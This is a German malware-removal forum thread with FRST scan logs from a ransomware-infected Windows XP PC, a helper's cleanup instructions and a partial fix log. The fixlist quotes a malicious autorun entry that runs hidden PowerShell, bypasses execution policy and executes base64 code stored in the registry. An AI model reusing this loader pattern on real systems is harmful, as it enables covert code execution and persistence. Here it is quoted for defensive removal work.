FF HKLM\...\Firefox\Extensions: [{8D03DB51-DA47-46a9-8F14-53ABE84263F5}] - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-branding.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox-l10n.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\firefox.js [2009-01-20]

FF ExtraCheck: C:\Programme\mozilla firefox\defaults\pref\reporter.js [2009-01-20]
 

Chrome: 

=======

CHR HomePage: Default -> hxxp://www.google.com/

CHR StartupUrls: Default -> "hxxp://www.google.com/"

CHR DefaultSearchURL: Default -> hxxp://www.search.ask.com/web?p2=%5EAKE%5EOSJ000%5EYY%5EAT&gct=&o=APN10452&tpid=ORJ-V7&itbv=12.6.0.11&doi=2013-10-30&apn_uid=84D7EA17-D885-40D4-B0F9-731F3AB927BA&apn_ptnrs=AKE&apn_dtid=%5EOSJ000%5EYY%5EAT&apn_dbr=cr_30.0.1599.101&psv=&trgb=CR&q={searchTerms}

CHR DefaultSearchKeyword: Default -> ask search

CHR DefaultSuggestURL: Default -> hxxp://ss.websearch.ask.com/query?qsrc={qsrc}&li=ff&sstype=prefix&q={searchTerms}

CHR Session Restore: Default -> ist aktiviert.

CHR Profile: C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default

CHR Extension: (Google Docs) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-02-06]

CHR Extension: (Google Drive) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]

CHR Extension: (YouTube) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-29]

CHR Extension: (Adblock für Youtube™) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\cmedhionkhpnakcndndgjdbohmhepckk [2016-03-04]

CHR Extension: (Google-Suche) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-11-27]

CHR Extension: (Google Docs Offline) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-16]

CHR Extension: (Chrome Web Store-Zahlungen) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-04-02]

CHR Extension: (Mehr Leistung und Videoformate für dein HTML5 <video>) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nneajnkjbffgblleaoojgaacokifdkhm [2013-07-25]

CHR Extension: (Google Mail) - C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-04-10]

CHR HKLM\...\Chrome\Extension: [nneajnkjbffgblleaoojgaacokifdkhm] - C:\Programme\DivX\DivX Plus Web Player\chrome\DivXHTML5\DivXHTML5.crx [2011-12-12]
 

==================== Dienste (Nicht auf der Ausnahmeliste) ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

S3 Adobe LM Service; C:\Programme\Gemeinsame Dateien\Adobe Systems Shared\Service\Adobelmsvc.exe [72704 2013-12-17] (Adobe Systems) [Datei ist nicht signiert]

S4 Adobe Version Cue CS2; c:\Programme\Adobe\Adobe Version Cue CS2\bin\VersionCueCS2.exe [163840 2005-04-06] (Adobe Systems Incorporated) [Datei ist nicht signiert]

S4 ESUSClient_TNO; C:\Programme\Telenor Norway\ESUS_TNO\ESUS_TNO.exe [358808 2010-12-17] (Telenor Norway)

S4 gupdate; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S4 gupdatem; C:\Programme\Google\Update\GoogleUpdate.exe [144200 2015-08-27] (Google Inc.)

S3 IDriverT; C:\Programme\Gemeinsame Dateien\InstallShield\Driver\1150\Intel 32\IDriverT.exe [69632 2005-11-14] (Macrovision Corporation) [Datei ist nicht signiert]

S2 IMFservice; C:\Programme\IObit\IObit Malware Fighter\IMFsrv.exe [344864 2015-01-13] (IObit)

R2 JavaQuickStarterService; C:\Programme\Java\jre7\bin\jqs.exe [161664 2014-06-21] (Oracle Corporation)

R2 LightScribeService; C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe [73728 2006-04-24] (Hewlett-Packard Company) [Datei ist nicht signiert]

S4 LiveUpdateSvc; C:\Programme\IObit\LiveUpdate\LiveUpdate.exe [2909472 2015-08-17] (IObit)

S4 MSCSPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\MSCSPTISRV.exe [45056 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 MySQL56; C:\Programme\MySQL\MySQL Server 5.6\bin\mysqld.exe [11048960 2015-05-05] () [Datei ist nicht signiert]

S4 nlsX86cc; C:\WINDOWS\system32\nlssrv32.exe [63488 2010-03-11] (Nalpeiron Ltd.) [Datei ist nicht signiert]

S3 ose; C:\Programme\Gemeinsame Dateien\Microsoft Shared\Source Engine\OSE.EXE [89136 2003-07-28] (Microsoft Corporation)

R2 PaceLicenseDServices; C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe [2784768 2011-03-25] (PACE Anti-Piracy, Inc.) [Datei ist nicht signiert]

S3 PACSPTISVR; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\PACSPTISVR.exe [57344 2006-12-14] () [Datei ist nicht signiert]

R2 SentinelProtectionServer; C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe [206400 2006-05-07] (SafeNet, Inc)

S4 SonicStage Back-End Service; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SsBeSvc.exe [112184 2007-02-05] (Sony Corporation)

S3 SPTISRV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SPTISRV.exe [69632 2006-12-14] (Sony Corporation) [Datei ist nicht signiert]

S4 SSScsiSV; C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\SSScsiSV.exe [75320 2007-02-05] (Sony Corporation)

S4 TelenorhjelpenSvc; C:\Programme\Telenor Norway\Telenorhjelpen\Service.exe [463240 2011-02-15] ()

S4 Apple Mobile Device; "C:\Programme\Gemeinsame Dateien\Apple\Mobile Device Support\AppleMobileDeviceService.exe" [X]

S4 Iomega Activity Disk2; "" [X]
 

===================== Treiber (Nicht auf der Ausnahmeliste) ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R3 AEAudioService; C:\WINDOWS\System32\drivers\AEAudio.sys [127872 2005-03-04] (Andrea Electronics Corporation)

R2 AegisP; C:\WINDOWS\System32\DRIVERS\AegisP.sys [17801 2016-01-12] (Meetinghouse Data Communications) [Datei ist nicht signiert]

R1 AFS2K; C:\WINDOWS\system32\Drivers\AFS2K.sys [43488 2007-01-09] (Oak Technology Inc.)

R3 ASAPIW2K; C:\WINDOWS\System32\Drivers\ASAPIW2K.sys [11264 2003-11-28] (Pinnacle Systems GmbH) [Datei ist nicht signiert]

R1 ElbyCDIO; C:\WINDOWS\System32\Drivers\ElbyCDIO.sys [30616 2014-12-21] (Elaborate Bytes AG)

S4 FileMonitor; C:\Programme\IObit\IObit Malware Fighter\Drivers\wxp_x86\FileMonitor.sys [247968 2014-11-10] (IObit)

S3 fireface; C:\WINDOWS\System32\drivers\fireface.sys [83968 2016-03-08] (RME) [Datei ist nicht signiert]

R2 Haspnt; C:\WINDOWS\system32\drivers\haspnt.sys [36352 2007-11-23] () [Datei ist nicht signiert]

S3 HdAudAddService; C:\WINDOWS\System32\drivers\HdAudio.sys [145920 2004-10-27] (Windows (R) Server 2003 DDK provider)

R3 HPZid412; C:\WINDOWS\System32\DRIVERS\HPZid412.sys [51056 2003-08-11] (HP)

R3 HPZipr12; C:\WINDOWS\System32\DRIVERS\HPZipr12.sys [16496 2003-08-11] (HP)

R3 HPZius12; C:\WINDOWS\System32\DRIVERS\HPZius12.sys [21488 2003-08-11] (HP)

S3 iLokDrvr; C:\WINDOWS\System32\DRIVERS\iLokDrvr.sys [21112 2011-04-24] ()

R3 L8042PR2; C:\WINDOWS\System32\Drivers\l8042pr2.sys [53870 2003-06-30] (Logitech, Inc.)

R3 motubus; C:\WINDOWS\System32\drivers\MotuBus.sys [22024 2007-01-04] (Mark of the Unicorn)

R3 MTsensor; C:\WINDOWS\System32\DRIVERS\ASACPI.sys [5810 2004-08-13] ()

S3 NETMDUSB; C:\WINDOWS\System32\Drivers\NETMD033.sys [36232 2003-11-10] (Sony Corporation)

R3 NVHDA; C:\WINDOWS\System32\drivers\nvhda32.sys [124264 2013-02-18] (NVIDIA Corporation)

R3 SenFiltService; C:\WINDOWS\System32\drivers\Senfilt.sys [393088 2005-08-11] (Sensaura)

S3 SynasUSB; C:\WINDOWS\System32\drivers\SynasUSB.sys [23696 2009-06-26] (Steinberg Media Technologies GmbH)

R0 TPkd; C:\WINDOWS\system32\Drivers\TPkd.sys [93304 2011-03-24] (PACE Anti-Piracy, Inc.)

S3 AR5416; system32\DRIVERS\athw.sys [X]

S3 catchme; \??\C:\ComboFix\catchme.sys [X]

S3 hwdatacard; system32\DRIVERS\ewusbmdm.sys [X]

S4 IntelIde; kein ImagePath

S3 MotuMidi; system32\drivers\MotuMidi.sys [X]

S3 MotuUsb; System32\Drivers\MotuUsb.sys [X]

U5 ScsiPort; C:\WINDOWS\system32\drivers\scsiport.sys [96384 2008-04-14] (Microsoft Corporation)
 

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Ein Monat: Erstellte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-17 16:41 - 2016-08-17 16:41 - 00003810 _____ C:\Dokumente und Einstellungen\Administrator\wie_zum_Wiederherstellen_von_Dateien.html

2016-08-17 16:41 - 2016-08-17 16:41 - 00001248 _____ C:\Dokumente und Einstellungen\Administrator\wie_zum_Wiederherstellen_von_Dateien.txt

2016-08-17 16:39 - 2016-08-17 16:40 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\oxyjotiqysetapul

2016-08-17 16:39 - 2016-08-17 16:39 - 00614912 _____ (Ghisler Software GmbH) C:\WINDOWS\bdeqpjir.exe

2016-08-17 16:39 - 2016-08-17 16:39 - 00614912 _____ (Ghisler Software GmbH) C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temprad1E7B0.tmp

2016-08-16 17:41 - 2016-08-17 16:58 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00015153 _____ C:\ComboFix.txt

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\LocalService\Lokale Einstellungen\temp

2016-08-16 17:41 - 2016-08-16 17:41 - 00000000 ____D C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\temp

2016-08-16 17:19 - 2016-08-16 17:41 - 00000000 ____D C:\Qoobox

2016-08-16 17:19 - 2016-08-16 17:40 - 00000000 ____D C:\WINDOWS\erdnt

2016-08-16 17:19 - 2011-06-26 08:45 - 00256000 _____ C:\WINDOWS\PEV.exe

2016-08-16 17:19 - 2010-11-07 19:20 - 00208896 _____ C:\WINDOWS\MBR.exe

2016-08-16 17:19 - 2009-04-20 06:56 - 00060416 _____ (NirSoft) C:\WINDOWS\NIRCMD.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00518144 _____ (SteelWerX) C:\WINDOWS\SWREG.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00406528 _____ (SteelWerX) C:\WINDOWS\SWSC.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00212480 _____ (SteelWerX) C:\WINDOWS\SWXCACLS.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00098816 _____ C:\WINDOWS\sed.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00080412 _____ C:\WINDOWS\grep.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00068096 _____ C:\WINDOWS\zip.exe

2016-08-16 16:09 - 2016-08-16 16:54 - 00273062 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_16.09.54_log.txt

2016-08-16 15:09 - 2016-08-16 16:07 - 00139380 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_15.09.26_log.txt

2016-08-16 15:07 - 2016-08-16 15:07 - 00002164 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_15.07.39_log.txt

2016-08-04 00:56 - 2016-08-17 16:58 - 00000000 ____D C:\FRST

2016-08-04 00:39 - 2016-08-17 16:40 - 00000000 ____D C:\AdwCleaner
 

==================== Ein Monat: Geänderte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-17 16:57 - 2014-04-04 14:37 - 00007706 _____ C:\WINDOWS\system32\nvAppTimestamps

2016-08-17 16:42 - 2013-07-20 20:32 - 00001086 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job

2016-08-17 16:42 - 2013-02-24 02:00 - 00262144 _____ C:\WINDOWS\system32\config\WindowsPowerShell.evt

2016-08-17 16:42 - 2007-01-08 22:44 - 00000190 ___SH C:\Dokumente und Einstellungen\Julie\ntuser.ini

2016-08-17 16:42 - 2007-01-08 22:42 - 00032372 _____ C:\WINDOWS\SchedLgU.Txt

2016-08-17 16:42 - 2007-01-08 22:42 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT

2016-08-17 16:41 - 2013-12-17 22:00 - 00000000 ____D C:\Creative Suite CS2

2016-08-17 16:41 - 2013-02-20 20:08 - 00000000 ____D C:\Dokumente und Einstellungen\Administrator

2016-08-17 16:40 - 2008-08-08 14:15 - 00000000 ____D C:\CDLab

2016-08-17 16:39 - 2011-08-09 21:54 - 00000572 ____H C:\Dokumente und Einstellungen\Julie\Desktop\redir.htaccess.enc

2016-08-17 16:39 - 2009-04-01 10:39 - 02090032 ____H C:\Dokumente und Einstellungen\Julie\Desktop\Nokia_5800_XpressMusic_UG_de.pdf.enc

2016-08-17 16:39 - 2007-01-09 05:25 - 00000000 __RHD C:\Dokumente und Einstellungen\All Users\Anwendungsdaten

2016-08-17 16:39 - 2007-01-08 22:44 - 00000000 ___HD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen

2016-08-17 16:25 - 2013-03-03 14:01 - 00000884 _____ C:\WINDOWS\Tasks\Adobe Flash Player Updater.job

2016-08-17 16:13 - 2013-07-20 20:32 - 00001090 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job

2016-08-17 13:13 - 2007-01-08 22:44 - 00000000 ___HD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten

2016-08-17 11:50 - 2007-01-08 22:44 - 00000000 ____D C:\Dokumente und Einstellungen\Julie

2016-08-16 17:41 - 2015-06-21 17:55 - 00000000 ___HD C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen

2016-08-16 17:41 - 2013-08-03 00:01 - 00000000 ____D C:\Dokumente und Einstellungen\Default User

2016-08-16 17:41 - 2007-01-08 22:42 - 00000000 ___HD C:\Dokumente und Einstellungen\LocalService\Lokale Einstellungen

2016-08-16 17:41 - 2007-01-08 22:40 - 00000000 ___HD C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen

2016-08-16 17:36 - 2002-12-31 14:00 - 00000260 _____ C:\WINDOWS\system.ini

2016-08-16 17:35 - 2007-01-09 06:23 - 41156608 _____ C:\WINDOWS\system32\config\software.bak

2016-08-16 17:35 - 2007-01-09 06:23 - 05767168 _____ C:\WINDOWS\system32\config\system.bak

2016-08-16 17:35 - 2007-01-09 06:23 - 02097152 _____ C:\WINDOWS\system32\config\default.bak

2016-08-16 17:35 - 2007-01-09 05:24 - 00262144 _____ C:\WINDOWS\system32\config\SECURITY.bak

2016-08-16 17:35 - 2007-01-09 05:24 - 00028672 _____ C:\WINDOWS\system32\config\SAM.bak

2016-08-16 17:31 - 2007-01-09 05:27 - 00000000 ____D C:\Programme\Gemeinsame Dateien

2016-08-16 17:24 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Anwendungsdaten

2016-08-16 16:33 - 2007-01-08 22:35 - 00000000 ____D C:\Programme\Outlook Express

2016-08-16 16:31 - 2014-08-12 18:08 - 00000026 _____ C:\WINDOWS\Zone.Identifier

2016-08-16 12:20 - 2002-12-31 14:00 - 00002206 _____ C:\WINDOWS\system32\wpa.dbl

2016-08-04 11:53 - 2012-07-03 01:53 - 00000000 ____D C:\WINDOWS\pss

2016-08-04 11:53 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart

2016-08-04 11:53 - 2002-12-31 14:00 - 00000718 _____ C:\WINDOWS\win.ini

2016-08-04 00:44 - 2007-01-09 05:27 - 00000000 ___RD C:\Programme

2016-08-04 00:44 - 2007-01-08 22:42 - 00000190 ___SH C:\Dokumente und Einstellungen\LocalService\ntuser.ini

2016-08-02 13:21 - 2012-09-12 17:36 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Eigene Dateien\My Scans

2016-08-02 13:21 - 2007-02-06 12:31 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\ApplicationHistory

2016-08-02 10:12 - 2007-01-09 05:24 - 00000000 ____D C:\Dokumente und Einstellungen\All Users

2016-08-01 01:00 - 2015-07-09 15:34 - 00002285 _____ C:\Dokumente und Einstellungen\Julie\Desktop\MySQL Control Center.lnk

2016-08-01 00:44 - 2007-02-06 20:21 - 00000000 ____D C:\Programme\CD-Lab Viewer

2016-08-01 00:43 - 2007-01-09 05:27 - 00000000 ___RD C:\Dokumente und Einstellungen\All Users\Startmenü\Programme

2016-08-01 00:21 - 2007-01-09 06:23 - 00000211 ___SH C:\boot.ini

2016-07-29 12:13 - 2016-03-15 14:54 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\ProductData

2016-07-22 13:11 - 2007-10-23 01:01 - 00000000 ____D C:\unzipped
 

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======
 

2008-05-24 12:07 - 2009-05-05 20:34 - 0000000 ____H () C:\Programme\Gemeinsame Dateien\MSN

2012-09-07 14:04 - 2012-09-07 14:06 - 0001024 _____ () C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\WavCodec.wff

2008-01-30 13:51 - 2016-02-22 12:47 - 0018432 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini

2007-02-06 12:31 - 2007-02-06 12:31 - 0000138 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\fusioncache.dat

2002-12-31 14:00 - 2008-04-14 08:52 - 72365312 ___SH () C:\Dokumente und Einstellungen\All Users\msdgqhc.exe

2016-04-20 23:17 - 2016-04-20 23:17 - 0000085 ___SH () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\.zreglib

2011-02-24 22:39 - 2011-02-24 22:39 - 0005013 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\jdhdxjyu.jga

2011-08-16 15:07 - 2011-08-16 15:26 - 0000392 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\P1kAlMiG2Kb7Fz

2007-05-02 13:18 - 2010-08-07 15:27 - 0001763 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\QTSBandwidthCache

2011-08-16 15:07 - 2011-08-16 15:33 - 0000224 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fz

2011-08-16 15:07 - 2011-08-16 15:33 - 0000176 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fzr
 

Dateien, die verschoben oder gelöscht werden sollten:

====================

C:\Dokumente und Einstellungen\All Users\msdgqhc.exe
 
 

Einige Dateien in TEMP:

====================

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\temp\cdo1523199992.dll
 
 

==================== Bamital & volsnap =================
 

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
 

C:\WINDOWS\explorer.exe => Datei ist digital signiert

C:\WINDOWS\system32\winlogon.exe => Datei ist digital signiert

C:\WINDOWS\system32\svchost.exe => Datei ist digital signiert

C:\WINDOWS\system32\services.exe => Datei ist digital signiert

C:\WINDOWS\system32\User32.dll => Datei ist digital signiert

C:\WINDOWS\system32\userinit.exe => Datei ist digital signiert

C:\WINDOWS\system32\rpcss.dll => Datei ist digital signiert

C:\WINDOWS\system32\dnsapi.dll => Datei ist digital signiert

C:\WINDOWS\system32\Drivers\volsnap.sys => Datei ist digital signiert
 

==================== Ende vom FRST.txt ============================

In Addition.txt ist nur folgender Eintrag anders:

Code:

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2007-09-09 22:13 - 2007-05-22 10:59 - 00128512 _____ () C:\Programme\WinRAR\rarext.dll

2005-06-27 10:42 - 2005-06-27 10:42 - 00167936 _____ () C:\Programme\Macromedia\FlashPaper 2\FlashPaperContextMenu.dll

2007-05-11 00:50 - 2007-05-11 00:50 - 00017024 _____ () C:\Programme\Adobe\Reader 8.0\Reader\viewerps.dll

2004-01-05 11:44 - 2004-01-05 11:44 - 00565248 _____ () C:\WINDOWS\system32\hpotscl.dll

Tut mir leid, dass ich Euch jetzt soviel Mühe mache

Fragerin

17.08.2016 20:21

Hi,

leider können wir dir deine Dateien nicht entschlüsseln. Entweder du findest auf dieser Seite eine Möglichkeit:
https://id-ransomware.malwarehunterteam.com/
- oder du kannst die verschlüsselten Dateien nur aufbewahren und hoffen, dass später eine Möglichkeit gefunden wird.
Oder halt bezahlen, aber damit würdest du die Erpresser dazu animieren, noch mehr solche Programme zu schreiben. Und ob du deine Daten dadurch wieder kriegst, ist auch nicht sicher.

Wir können hier nur die schädlichen Programme und deren "einfachere" Auswirkungen von deinem System entfernen:

Schritt 1: unnötige/störende Programme deinstallieren
Bitte deinstalliere normal über die Systemsteuerung folgende Programme:

IOBIT Malware Fighter
Spybot Search & Destroy

Spybot hatte seine beste Zeit vor über zehn Jahren und IOBIT war eigentlich noch nie richtig gut.

Schritt 2: Fix mit FRST
Drücke bitte die Windowstaste + R Taste und schreibe notepad in das Ausführen Fenster.

Kopiere nun folgenden Text aus der Code-Box in das leere Textdokument

Code:

closeprocesses:

HKLM\...\Run: [akesikyz] => C:\WINDOWS\bdeqpjir.exe [614912 2016-08-17] (Ghisler  Software GmbH)

HKLM\...\Policies\Explorer\Run: [1038853070] => C:\Dokumente und Einstellungen\All Users\msdgqhc.exe [72365312 2008-04-14] ()

C:\Dokumente und Einstellungen\All Users\msdgqhc.exe

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [{A9480375-EB4E-4B08-9CBA-83931501F684}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\WOzb').HITANTCUPSFK)));

HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

HKU\S-1-5-21-796845957-1960408961-682003330-1003\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

BHO: Kein Name -> {BA0C978D-D909-49B6-AFE2-8BDE245DC7E6} -> Keine Datei

BHO: Kein Name -> {d5b8015d-68af-4b2c-9412-e349d82ab4a2} -> Keine Datei

BHO: Telenor Telenorhjelpen Plugin -> {DB87CDE1-EF9C-44EB-A42F-6D0B3C72C516} -> Keine Datei

BHO: Kein Name -> {f379a94e-3c5d-4bad-b32c-0e3af1cc3617} -> Keine Datei

FF Extension: Kein Name - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\iobitascsurfingprotection@iobit.com [nicht gefunden]

CHR DefaultSearchURL: Default -> hxxp://www.search.ask.com/web?p2=%5EAKE%5EOSJ000%5EYY%5EAT&gct=&o=APN10452&tpid=ORJ-V7&itbv=12.6.0.11&doi=2013-10-30&apn_uid=84D7EA17-D885-40D4-B0F9-731F3AB927BA&apn_ptnrs=AKE&apn_dtid=%5EOSJ000%5EYY%5EAT&apn_dbr=cr_30.0.1599.101&psv=&trgb=CR&q={searchTerms}

CHR DefaultSearchKeyword: Default -> ask search

CHR DefaultSuggestURL: Default -> hxxp://ss.websearch.ask.com/query?qsrc={qsrc}&li=ff&sstype=prefix&q={searchTerms}

2016-08-17 16:39 - 2016-08-17 16:40 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\oxyjotiqysetapul

2016-08-17 16:39 - 2016-08-17 16:39 - 00614912 _____ (Ghisler Software GmbH) C:\WINDOWS\bdeqpjir.exe

2016-08-17 16:39 - 2016-08-17 16:39 - 00614912 _____ (Ghisler Software GmbH) C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temprad1E7B0.tmp

2011-08-16 15:07 - 2011-08-16 15:26 - 0000392 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\P1kAlMiG2Kb7Fz

2011-08-16 15:07 - 2011-08-16 15:33 - 0000224 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fz

2011-08-16 15:07 - 2011-08-16 15:33 - 0000176 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fzr

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:biSG7jlOe4kiWcFsw4kKVL1B4 [1748]

AlternateDataStreams: C:\Programme\Gemeinsame Dateien\MSN:JayWGbyLJ62t4ZxTekMUJWuAv [1940]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:66OGEr4wwL0YXXNz2ot7PZNq [2408]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:7Rh0gvPXnkL8jDl5CvmhExThja [1938]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:pz5aDZabB0h1bSG9Iqs28d3kX [2406]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:Q36zbZrgA8HBAP7URdqHr [2066]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Microsoft:qU1xRduu5Gmj8cDfVeQpYqum [2392]

AlternateDataStreams: C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Reprise:yhuwxvwhfkxkcqmbzxjuiqjduvsftifh [0]

C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart\z.vbb

C:\WINDOWS\pss\z.vbbStartup

Reg: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutorun /t REG_DWORD /d 0xFF /f

emptytemp:

Speichere diese bitte als Fixlist.txt auf deinem Desktop (oder dem Verzeichnis in dem sich FRST befindet).

Starte nun FRST erneut und klicke den Entfernen Button.
Das Tool erstellt eine Fixlog.txt.
Poste mir deren Inhalt.

Schritt 3: Rem-VBSWorm für den infizierten USB-Stick

Bitte mal das Tool runterladen, Stick anstecken und Option A und B durchführen. Log bitte posten.

Security Tool Spotlight: Rem-VBSworm - Anleitungen

Schritt 4: wieder frische FRST-Logs

Starte noch einmal FRST.
Setze einen Haken bei "Addition.txt" und klicke auf Untersuchen.
Die Logdateien werden nun erstellt und befinden sich danach auf deinem Desktop.
Poste mir die FRST.txt und die Addition.txt in deinem Thread.

jazzerin

18.08.2016 00:32

Einen schönen Tag an alle -hier ist Fixlist-logdatei:

Code:

Entferungsergebnis von Farbar Recovery Scan Tool (x86) Version: 03-08-2016

durchgeführt von Julie (2016-08-18 00:38:11) Run:1

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Geladene Profile: Julie (Verfügbare Profile: Julie & Administrator)

Start-Modus: Normal
 

==============================================
 

fixlist Inhalt:

*****************

closeprocesses:

HKLM\...\Run: [akesikyz] => C:\WINDOWS\bdeqpjir.exe [614912 2016-08-17] (Ghisler  Software GmbH)

HKLM\...\Policies\Explorer\Run: [1038853070] => C:\Dokumente und Einstellungen\All Users\msdgqhc.exe [72365312 2008-04-14] ()

